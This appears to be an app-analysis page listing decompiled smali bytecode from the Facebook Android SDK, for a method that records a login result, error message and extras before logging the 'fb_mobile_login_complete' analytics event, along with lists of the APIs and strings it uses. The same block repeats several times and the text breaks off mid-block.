                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
